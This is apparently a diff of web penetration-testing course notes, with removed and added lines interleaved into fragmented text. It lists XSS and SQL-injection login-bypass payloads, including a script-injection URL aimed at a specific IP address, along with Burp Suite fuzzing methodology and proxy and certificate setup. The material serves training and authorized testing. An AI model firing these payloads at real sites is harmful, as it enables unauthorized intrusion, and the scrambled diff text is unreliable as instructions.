524 | + | <scr |
525 | <sc | |
526 | <s | |
527 | - | Also, be sure to save the scan results and logs. I usually provide this data to the customer. |
527 | + | <p |
528 | < | |
529 | < s | |
530 | Joe'+OR+1=1;-- | |
531 | - | Step 1b: Directory Brute Forcer |
531 | + | |
532 | - | ------------------------------- |
532 | + | |
533 | - | I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). |
533 | + | Open a new tab in firefox and try this: |
534 | http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName | |
535 | ||
536 | ||
537 | - | Step 2: Manual Testing |
537 | + | xss_upload.txt (Upload Bulk Order) |
538 | <script>alert(123);</script> | |
539 | - | Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic). |
539 | + | |
540 | ||
541 | - | Step 2a: Spider/Scan the entire site with Burp Suite |
541 | + | Login Box: |
542 | - | Save the spider and scan results. I usually provide this data to the customer as well. |
542 | + | |
543 | ' or 1=1 or ''=' | |
544 | anything | |
545 | - | Step 2b: Browse through the site using the 3 question method |
545 | + | |
546 | - | Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. |
546 | + | |
547 | ######################### | |
548 | - | Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. |
548 | + | |
549 | ######################### | |
550 | - | Here is what I mean: |
550 | + | |
551 | - | http://www.site.com/page.aspx?parametername=parametervalue |
551 | + | |
552 | ||
553 | - | When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this: |
553 | + | |
554 | ||
555 | - | http://www.site.com/page.aspx?parametername=[ payload ] |
555 | + | |
556 | - Click the "Options" sub tab | |
557 | - | You need to ensure that you send the payload this way, and like this below: |
557 | + | |
558 | - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only” | |
559 | - | http://www.site.com/page.aspx?parametername=parametervalue[ payload ] |
559 | + | |
560 | - In the same pop up select the “Certificate” tab | |
561 | - | This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them. |
561 | + | |
562 | ||
563 | Open Firefox | |
564 | - Click "Edit" | |
565 | - Click “Preferences" | |
566 | - Click the "Advanced" tab | |
567 | - Click the "Network" sub tab | |
568 | - Click the connection "settings" button | |
569 | - | ########################################### |
569 | + | |
570 | - | # Question 2: How much fuzzing is enough? # |
570 | + | |
571 | - | ########################################### |
571 | + | |
572 | - | There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else. |
572 | + | |
573 | ||
574 | - | Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do. |
574 | + | |
575 | Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates. | |
576 | ||
577 | - | Step 1: Ask yourself the 3 questions per page of the site. |
577 | + | |
578 | ||
579 | - | Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter) |
579 | + | |
580 | Click "Get Certificate", then click "View". | |
581 | - | Step 3: When you load your fuzz strings - use the following decision tree |
581 | + | |
582 | In the “Details” tab, select the root certificate in the tree (PortSwigger CA). | |
583 | - | - Are the fuzz strings causing a default error message (example 404)? |
583 | + | |
584 | - | - If this is the case then it is most likely NOT vulnerable |
584 | + | |
585 | ||
586 | - | - Are the fuzz strings causing a WAF or LB custom error message? |
586 | + | |
587 | - | - If this is the case then you need to find an encoding method to bypass |
587 | + | |
588 | Click “Advanced” and go to “Certificates” tab | |
589 | Click “View Certificates” | |
590 | - | - Are the fuzz strings causing an error message that discloses the backend type? |
590 | + | |
591 | - | - If yes, then identify DB type and find correct syntax to successfully exploit |
591 | + | |
592 | - | - Some example strings that I use are: |
592 | + | |
593 | - | ' |
593 | + | |
594 | - | " |
594 | + | |
595 | - | () <----- Take the parameter value and put it in parenthesis |
595 | + | Close all dialogs and restart Firefox |